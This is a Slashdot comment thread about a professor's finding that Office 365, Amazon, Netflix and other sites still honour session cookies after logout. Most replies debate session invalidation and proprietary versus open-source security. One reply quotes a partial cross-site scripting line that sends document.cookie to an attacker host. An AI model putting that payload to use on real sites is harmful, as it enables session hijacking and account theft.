Office 365, Amazon, Others Vulnerable To Exploit Microsoft Knew About In 2012 125
colinneagle writes "Ethical hacking professor Sam Bowne recently put a cookie re-use method to test on several major web services, finding that Office 365, Yahoo mail, Twitter, LinkedIn, Amazon, eBay, and WordPress all failed the security test. Both Amazon and eBay can be tied directly to your money via the method of payment you have on record. And, just for kicks, we tried it with Netflix. And it worked. Microsoft has apparently known that accounts can be hijacked since at least 2012 when The Hacker News reported the Hotmail and Outlook cookie-handling vulnerability, so Bowne was curious if Microsoft closed the hole or if stolen cookies could still be re-used. He claims he 'easily reproduced it using Chrome and the Edit This Cookie extension.'"
2013 (Score:1, Interesting)
The year we ban non open sourced softwares as a global threat to humanity.
Snowden leak: Microsoft added Outlook.com backdoor (Score:2, Insightful)
Not an exploit, just business as usual.
NSA praises Redmond for 'collaborative teamwork'
There are red faces in Redmond after Edward Snowden released a new batch of documents from the NSA's Special Source Operations (SSO) division covering Microsoft's involvement in allowing backdoor access to its software to the NSA and others.
Documents seen by The Guardian detail how the NSA became concerned when Microsoft started testing Outlook.com, and asked for access. In five months Microsoft and the FBI created a work
Re: (Score:2)
Old news. They've been collaborating since way back over a decade ago at least. This from Win98.
http://www.cnn.com/TECH/computing/9909/03/windows.nsa.02/ [cnn.com]
Re: (Score:2, Insightful)
any NSA backdoor in FOSS yet? I've studied Firefox (Score:5, Interesting)
We know Microsoft is full of NSA backdoors. Has any government backdoor EVER been found in any FOSS, at any time. Nope.
The insistence on continuing to believe the ridiculous out of fandom is rather curious. Certainly on some level you understand your "beliefs" are laughable, but you're just completely incapable of changing your thoughts, of learning.
Re: (Score:2)
Bitlocker cracked since at least 2008 (Score:5, Informative)
Re: Bitlocker cracked since at least 2008 (Score:2)
Re: (Score:2)
Re: (Score:2)
Security through irrelevance? Sounds like a great idea!
Re: (Score:2)
Re:2013 (Score:4, Insightful)
You ignore one obvious truth. With FOSS no matter how unlikely someone will look at the code it actually is a possibility that it will happen. With proprietary software there is no chance in hell. None. Nada. Zip! All kinds of nastiness hidden away and everyone knows their little nasty secrets are secure behind closed source. Proprietary software guarantees this kind of stuff will without any doubt happen. FOSS gives you a chance at least.
Re: (Score:2)
That is a key point. There are things some people will do if they are sure nobody will see but they will not do if there is even one chance in thousands that someone will see and have evidence to back it up. It changes the risk/reward decision drastically.
Re:2013 (Score:4, Interesting)
The other big advantage with FOSS is that the change and commit logs are publicly accessible. If you introduce a backdoor in a FOSS product you can't hide behind a corporation. Your own name is tied to that backdoor. This is a strong disincentive; decades of social, economic, and criminal studies prove that.
Re: (Score:1)
Hairy, this is just the same old repeatedly debunked drivel you've been posting for most of the decade. If you're not prepared to learn from the very sensible replies that you're being given, you'll keep making the same mistakes forever.
Please try to update your knowledge - you seem intelligent at times, but this refusal to learn from evidence that is repeatedly presented to you is beginning to look willful.
Re: (Score:2)
I think also you forget that when a flaw is found in FOSS, it really does get many-eyes on it, and in fact, if it's a well-used application, it'll probably get multiple proposed patches too. Further, you could patch your own copy if you desire - thus, your copy at least is indeed more secure as a result.
It's true, comparatively very few people really spend time reading code looking for flaws. However, a reasonably well run FOSS project should get fixes out the door far faster than most of the commonly used
Re: (Score:1)
They know how cookies work right? (Score:5, Insightful)
It looks like they're exporting, deleting and then reimporting cookies before the cookies are set to expire. They can then get back into the site they just had access to. I fail to see how this "exploit" isn't actually the expected behavior of a properly functioning login tracked with a cookie.
Re:They know how cookies work right? (Score:5, Informative)
It looks like they're exporting, deleting and then reimporting cookies before the cookies are set to expire. They can then get back into the site they just had access to. I fail to see how this "exploit" isn't actually the expected behavior of a properly functioning login tracked with a cookie.
The complaint is that the expectation of "logging off" should invalidate existing cookies.
Re:They know how cookies work right? (Score:5, Informative)
Isn't that the websites problem?
Yes it is, that's why they reported it as a problem with Office 365, Netflix, Amazon, etc you know... websites.
Re: (Score:2)
Nice. It seems the cloud is starting to rain.
Re:They know how cookies work right? (Score:4, Insightful)
Re: (Score:2)
That would be insane, wouldn't it?
Re: (Score:2)
The complaint is that the expectation of "logging off" should invalidate existing cookies.
Yes, but for what added benefit? If someone else has enough access privileges to get cookies from my browser session before I click logout, then they almost certainly have enough privileges to just install a key logger and steal my username/password directly. Same for if they're able to install a trojan browser that doesn't actually delete cookies when instructed to.
Re: (Score:3)
Not necessarily. What if you simply get your media carrier stolen. You can't derive passwords from it, you can derive a history and cookies however which if you simply copy them to a similar system gives you straight back access to this.
Also, if someone intercepts the cookies or does a HTTPS MITM redirect, the malicious site could simply ask for the cookies for said domain and then still forward you to the legitimate HTTPS domain.
tis called Javascript in IE, or Flash (Score:2)
Other browsers have a slightly better history.
Re: (Score:2)
mitm? there's plenty of added benefit for providing a "invalidate all live tokens" logout button.
Re: (Score:2)
I don't think I can buy that argument. Virtually every decent authentication technology that utilizes tokens/cookies of some kind invalidates them upon logout. The whole point of using such session tokens is so that master credentials like passwords don't get cached all over the place. In many systems the master credential isn't even able to be cached without greatly compromising its security (as with two-factor authentication).
Master credentials should never be cached, and it only logically follows that
Re: (Score:3, Interesting)
Yahoo mail auth cookies are stolen by ads on a regular basis and used to send spam as an authorized Yahoo user. It's been going on for a long time and still happens every day.
Re: (Score:3, Interesting)
I don't know if this is true, but I get a LOT of spam from legit Yahoo servers, some of it occasionally from accounts of people I know who can't seem to keep their password secret, so that does lend a lot of credibility to this. I actually get quite a lot of spam (usually ~300 items per day to my main account alone) and with the exception of only Yahoo, HSBC and DNB, all of the rest has plainly come from spoofed/forged email servers.
Re: (Score:1)
Re: (Score:2)
With a 15-year-old yahoo mail account, I can say that my account has sent spam many times. I've changed my password frequently & it doesn't matter if I have a unique, 8 digit password new every few months. And this is with all log-ins on stock latest Ubuntu + latest Chrome behind NAT (fairly safe).
Re: (Score:1)
To steal a cookie in this manner pretty much requires you gain control of the user's machine. You could easily install keyloggers/etc. and steal their password. I don't see how this is a vulnerability. It's like saying "Gmail contains a vulnerability where if I stand over someone's shoulder and watch them type their password, I can gain access to their gmail account". Maybe there's something I'm missing but, seems that way to me.
Re: (Score:2)
<script>document.write("<img src='http://attackerwebsite.com/?cookiesteal=" + document.cookie + "'
Re: (Score:2)
The fact that the post you replied to already mentioned this, but that you still think mentioning malware refutes something in the post that you replied to, tells us that you really have no clue what you are talking about with regards to computers, malware, security, and cookies.
Re: (Score:2, Insightful)
Since you obviously don't know how this works, Malware has access to the user's machine; however, in most cases the author or distributor of the Malware DOES NOT HAVE ACCESS TO THE MACHINE (in other words, the
Re: (Score:3)
The OP, which is most likely you posting AC
Your keen insight into things continues to undermine you.
Re:They know how cookies work right? (Score:4, Informative)
Re: (Score:2)
Of course they're not tied to a unique session...they're "remember me" cookies. They're supposed to still work after you kill the session. And by definition they have very long expiration. Now, you can keep track on the server of which cookies you handed out, and if someone invalidates one (logs off), keep track of that and refuse the cookie if its provided again, but its a pretty rare implementation as its not really considered a big problem (as long as the cookies are only passed around via https...if the
Re:They know how cookies work right? (Score:5, Informative)
Indeed. Except in this case the "logout" function simply instructs the browser to forget that cookie. Any machine that still has that cookie is still logged in. A logout should not only remove the cookie, but invalidate it's contents. Changing your password should invalidate every login immediately. Additionally, each "login" should create a different value.
If (when) someone gets ahold of that cookie, they will have access to the account until the thing expires (if ever.) You have no way to get them out of your account; a logout won't do it, changing your password won't do it. (not that they knew your password in the first place)
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
When you log out, the cookie should become useless. It's not even that hard. Cookies generally represent sessions and the session is a context held in a database. When you log out, the session is destroyed or marked invalid so that the cookie does nothing.
Given that, one cannot help but wonder if the cookie actually carries sensitive information rather than just being an opaque pointer to it.
One also wonders if the cookie will still get you access after it is supposed to expire if you send it anyway.
is this really an exploit? (Score:1)
but you have to steal the cookies first?
that's like saying, "hey, I can login using your account as long as I steal your password first."
Re:is this really an exploit? (Score:5, Funny)
that's like saying, "hey, I can login using your account as long as I steal your password first."
That's a known exploit that Micro$oft has known about and REFUSED to fix for years!
Let me get this straight (Score:2)
If a user has a website remember their login via a cookie, and I make a copy of that cookie and put it into my browser, I will be logged in as that user? I am shocked...
It doesn't take much to be considered an "hacking professor" now days, does it?
Re: (Score:2)
Re: (Score:3)
Re: Let me get this straight (Score:4, Insightful)
No, it isn't. If you explicitly click "log out" it is supposed to log you out and you have to explicitly log back in.
"Remember me" is only supposed to keep you signed in if you don't explicitly log out, such as by just leaving the page or closing the browser.
Otherwise, how do you actually log out of a session?
Re: (Score:2, Interesting)
You can have multiple sessions per cookie. This is how you are able to go back to a site when you've asked it to Remember your login and be logged in automatically. No one in their right mind is going to have a server keep a session open occupying resources for days at a time. Sessions are pretty temporary, whereas cookies for automatic login usually don't expire for a couple of weeks.
The more likely issue is that the ID of the cookie should be tracked in a database, and logoff should invalidate it so th
Re: (Score:2)
Re: (Score:3)
Re: (Score:1)
What are you serving, static content? Don't you have to go to the database for other page content, or to grab something like the user's name?
Re: (Score:2)
Re: (Score:2)
If a user has a website remember their login via a cookie, and I make a copy of that cookie and put it into my browser, I will be logged in as that user? I am shocked...
It doesn't take much to be considered an "hacking professor" now days, does it?
Someone alert the Girl Scouts, this is an easier way to make money on Cookies.
Re: (Score:2)
https or http? (Score:1)
That's a big deal only if the sites are using plain unencrypted html. In that case your cookies are visible to anyone on the same network (i.e. same coffee shop) so anyone can impersonate you.
What? (Score:2)
So if I login to GMail with my phone and my desktop, if I log off on my desktop it should kill my phone too? How the hell is that better?
Re:What? (Score:4, Interesting)
So if I login to GMail with my phone and my desktop, if I log off on my desktop it should kill my phone too? How the hell is that better?
If you log in to GMail twice, you get two different cookies. In a sane world, when you hit "logout", the specific cookie gets invalidated and you have to log in again on that device if you want back in. Hotmail (seemingly unlike GMail) does not exist in a sane world.
Re: (Score:2)
in a sane world you get option to do whichever logout you want.
facebook offers "log out all devices" which invalidates all tokens.
Re: (Score:2)
I wouldn't. The biggest companies are so big they can do what they want with impunity. Small companies mostly seem to actually give a shit about their customer's opinions whereas the big ones generally seem to say "take it or leave it." If the small companies start to take market share the big companies either drive them out of business or buy them out depending on which is easier at the time.
Re: (Score:1)
Small companies mostly seem to actually give a shit about their customer's opinions
No average website user even knows about this, much less have an opinion on it !! Which customer is going to explain their preferred session cookie design to a company? And even if they did why would a company task resources (costing thousands of dollars/week ) to improve their codebase just to keep one/two customers? It doesn't make any business sense (either for a small or a big company). "Doing the right thing" - very rarely and in most cases only accidentally has lead to more business.
Re:What? (Score:5, Insightful)
Re: (Score:2)
Re: (Score:2)
That does not help if you don't log out. In this case, the stolen cookie remains valid until the thief lets it expire by no longer using it.
The only way to make this attack impossible is to provide the user with an overview of all valid cookies and an option to log out some or all of them. As an alternative (or better: in addition), all remembered logins should expire after a reasonable time (e.g. a month) on the server side and without an option to renew them without entering the password.
Re:What? (Score:5, Funny)
So if I login to GMail with my phone and my desktop, if I log off on my desktop it should kill my phone too? How the hell is that better?
Please DO NOT log out of your Gmail account.
It makes you more difficult to track.
Sincerely,
Your Government
Re: (Score:2)
OWASP Save Us! (Score:2)
Can someone please come up with a "best practices" for this? Say "This is how you log a browser user in, this is how to check if a given browser is a logged in user, this is how to log out a user?" (That last one is important, no browser provides a logout button for Basic Authentication) Is storing everything server side in a session (referenced by a session cookie) the best way to do this? What about mobile users, is their IP static throughout a session or does their IP change if they change cells?
The Aut [owasp.org]
Re: (Score:1)
Re: (Score:3)
Automatic Login / Remember Me: Ideally only a token/key to a server-side record. Said record should probably also have your useragent string (for spoofing detection. This is used on the login screen to auto-log you in, if not already logged in, and create a new authenticated session value. If you explicitely logout, this should be deleted on the client and the server.
Session Token/Cookie: A token used for a single session, you may want to also correlate this with the user'
yeah, I've been R&Ding for years (Score:3)
I should know. I spent 17 years keeping ahead of the bad guys and ahead of the competition, developing a security system used by tens of thousands of sites. The thing is, there are a lot of ways to screw up authentication, and a lot of ways to screw up authorization. Professionals making security products screwed it up all the ti
The bigger problem (Score:1)
What has this got to do with Microsoft? (Score:3, Interesting)
Is this entire article some kind of joke? If you have physical access to a machine and are able to "steal" the cookies from their logged in browser session, then on another machine replicate that browser session and utilize that same logged in cookie so that the site can't tell the difference between the machine you HAVE PHYSICAL LOGGED-IN ACCESS TO and the replicated session, so you're able to continue using the site? Isn't this behaviour "as intended"?
This would only be a "flaw" if another site could remotely copy my cookies and continue my session 'as me'. (Well, actually, I have Java installed, so they probably can *cough*). Otherwise, it's exactly how a logged in cookie is meant to work. The only tacit connection to "Microsoft" seems to be that "Microsoft, like some other companies.. have websites on the internet."
Actually, the fact that Microsoft requires re-authentication to make any account changes is actually a good thing. The article makes some excuse about "what's the use of that if they're already able to read the emails with the logged in cookie", to which I counter - YES, OR.. YOU KNOW.. READING THE EMAILS ON THE LOGGED IN SESSION YOU ALREADY HAVE ON THE ORIGINAL MACHINE IN FRONT OF YOU.
Re: (Score:1)
Re: (Score:1)
Not really a joke. One could use a Trojan to steal cookies... So you don't need physical access.
Is your post a joke? if they have Trojan's installed on your machine why would they bother just stealing your cookie when they could instead take your password and everything else.
Re: (Score:2)
Right, but a trojan could just keylog me as well. Or read the passwords stored by my browser.
Look, I do understand the issue, I just don't see it as an issue. This has pretty much been the "expected" and likely intended behavior server-side for years. As another example, take almost any commercial forum software. Login in and open up two threads in two tabs. Log out in one of the tabs - the other is still logged in, using the same cookie, and can keep browsing and posting on your logged in account.
Re: (Score:2)
Trojans will probably keylog and steal cookies if it is worth it. Get rid of the cookie issue and that is one less thing to worry about.
It is an issue. Just because you have accept this bad security design doesn't make it acceptable to everyone. I too notice which sites do and don't log me out of all tabs I have open in a browser. I like the ones that log me out just like I expect.
This isn't an "attack" on MS alone. The OP header says "Office 365, Amazon, Others"
Re: (Score:2)
PS. I do understand that the original issue is that the cookie isn't expiring server-side "as fast as they would like", but it will do. The complaint isn't that someone can come along and pick up a logged out browser session and use old cookies to "log in". No - the cookie has to be copied from the logged in session - in other words, already have access to the machine in a logged in state. If malware has already rooted your machine to this point, then trust me.. they've just keylogged your login, and don't
Re: (Score:2)
Is this entire article some kind of joke? If you have physical access to a machine and are able to "steal" the cookies from their logged in browser session, then on another machine replicate that browser session and utilize that same logged in cookie so that the site can't tell the difference between the machine you HAVE PHYSICAL LOGGED-IN ACCESS TO and the replicated session, so you're able to continue using the site? Isn't this behaviour "as intended"?
Ever heard of Internet Cafe? Even seen public PC open for everybody to use in airports or other places?
This vulnerability means, if you EVER logged in to these sites once in public PCs, and if that PC has been compromised, then the cookies that have been used in that PC could have been copied to somewhere else and use to access those sites as you. And you have no way to invalidate those cookies even if you have logged out from that site, EVEN IF YOU CHANGE YOUR PASSWORD immediately afterwards.
The correct
Re: (Score:2)
No, that's not what the vulnerability means. To be clear, the exploit is not that "old" cookies can be used to log in as someone else. It's that "in-use" cookies on the client machine can be replicated and used on another machine as long as the session hasn't been timed out on the server. Once I've logged out on the client, nobody can then access that machine and get a client cookie off it to continue the session. They have to have copied the cookie while my session was active on the client. (Please see the
Re: (Score:2)
Actually, I think you understood the issue, but might have worded one sentence badly. Where you said "then the cookies that have been used in that PC could have been copied to somewhere else" I presume you meant "then the cookies that ARE BEING used in that PC could have been copied to somewhere else". The 'attack' has to happen while the session is in-use. Then you can log out and they can still continue using the session with the stolen cookie.
However, as mentioned, the machine already has to be c
Re: (Score:2)
On wordpress, even if you log out from the site, you can still re-use the cookies and are automatically logged back in.
Re:What has this got to do with Microsoft? (Score:5, Informative)
You are logged into your Office 365 account in a coffee shop with unencrypted wifi. You happen to glance at another patrons computer only to realize that he has hijacked your session by sniffing the unencrypted session cookie that you are sending to the server every time you load a page! You quickly hit the logout button expecting your session to be invalidated, but the logout button only deleted the cookie local to your device. The guy who hijacked your session is still logged in and proceeds to send an email to your boss calling him a "nub".
Had Microsoft's service invalidated your session token on the server when you hit logout this disaster could have been avoided.
Re: (Score:2)
Right you are - and I commented in a few other replies that really for this to be exploited there needs to be another security flaw already in play. To me (at least) it seems somewhat pedantic to blame the website (whether it be Microsoft, which seemed to be largely singled out in the summary and accompanying article despite the other huge names mentioned - really, the vast majority of sites in the world have this "issue") when it's almost solely a secondary security issue. It's like leaving your garage doo
Re: (Score:1)
Re: (Score:2)
Is this entire article some kind of joke? If you have physical access to a machine and are able to "steal" the cookies from their logged in browser session, then on another machine replicate that browser session and utilize that same logged in cookie so that the site can't tell the difference between the machine you HAVE PHYSICAL LOGGED-IN ACCESS TO and the replicated session, so you're able to continue using the site? Isn't this behaviour "as intended"? This would only be a "flaw" if another site could remotely copy my cookies and continue my session 'as me'. (Well, actually, I have Java installed, so they probably can *cough*). Otherwise, it's exactly how a logged in cookie is meant to work. The only tacit connection to "Microsoft" seems to be that "Microsoft, like some other companies.. have websites on the internet."
Well, for services sending clear, unencrypted HTTP traffic, local access isn't necessary. The data interception could be some random Joe or Jane sitting at the same Starbucks as you. Or it could be your friendly neighbourhood ISP, or your telco, or your government.
So yeah, knowing about it and not working out a fix is a problem. It's evidence that, contrary to advertising claims, Microsoft (and others) are not really taking your privacy as seriously as they should.
Re: (Score:2)
outlook is https.
the real problem is just that logging out doesn't invalidate the cookies server side.
Re: (Score:2)
Yeah, I understand that issue - I was probably a little over the top in my first post. I followed up in a couple of other replies (eg, http://slashdot.org/comments.pl?sid=3981407&cid=44303997 [slashdot.org]) that I get what they're saying the issue is, but that this is fairly standard "intended" behavior. Hence why it occurs on most major sites - servers decide when to expire their logins, rather than clients. I just thought it was odd that the author jumped all over it being a "Microsoft" issue, when it's just as muc
Re: (Score:2)
While sites do use encryption mechanisms in their cookies sometimes, that doesn't prevent MITM attacks (or of course, a compromised machine) from continuing the access anyhow. In fact, of all the attack vectors, XSS is the only one which could be prevented by the cookies timing out server-side instantly.
What I mean by that is, the other attack vectors all provide alternate methods of intrusion other than stealing a cookie from your PC.. malware can just keylog, DNS poisoning can present you with an
Tested with Drupal (Score:2)
Both http and mixed http/https site with no issues. Once user is logged out, cookies don't work any more.
Cloud problem? (Score:2)
If I understand correctly, session cookies have no server-side expiration. If someone manage to steal such a cookie, for instanc uwing a spyware, that person gets access to the account forever.
Handling session expiration seems an easy thing to do, so why isn't it done here? I wonder if cloud infrastructure is not a problem here: with a highly distributed setup, it may not be trivial to make all nodes aware that a session expired
Re: (Score:2)
Only unacceptable because its the cloud (Score:2)
The reality is that most of this stuff was and is fine so long as it remains on private systems. A hundred million computers scattered all over the planet are a lot harder to target then a few centralized datacenters.
MS office has had issues with security for ages. But all of it was controllable because you could just "not" download viruses. Or "not" horribly infect yourself with malware. But when its all on the cloud that isn't an option anymore. The hackers have ONE target and when they penetrate it... th
Not a Microsoft Problem (Score:1)
Haven't fixed Outlook issue since its inception (Score:2)
This shouldn't surprise anyone. Microsoft has never bothered to fix the flaw in Outlook where opening attachments directly from an email rather than saving them first will eventually fill a temp directory and prevent you from opening any more attachments. This has been in existence since Outlook came out.
Once the number of temp files reaches about 100 you're screwed until you root through the system and find the directory and clear it.
The issue, its symptoms and recommendations:
http://www.howto-outlook.co [howto-outlook.com]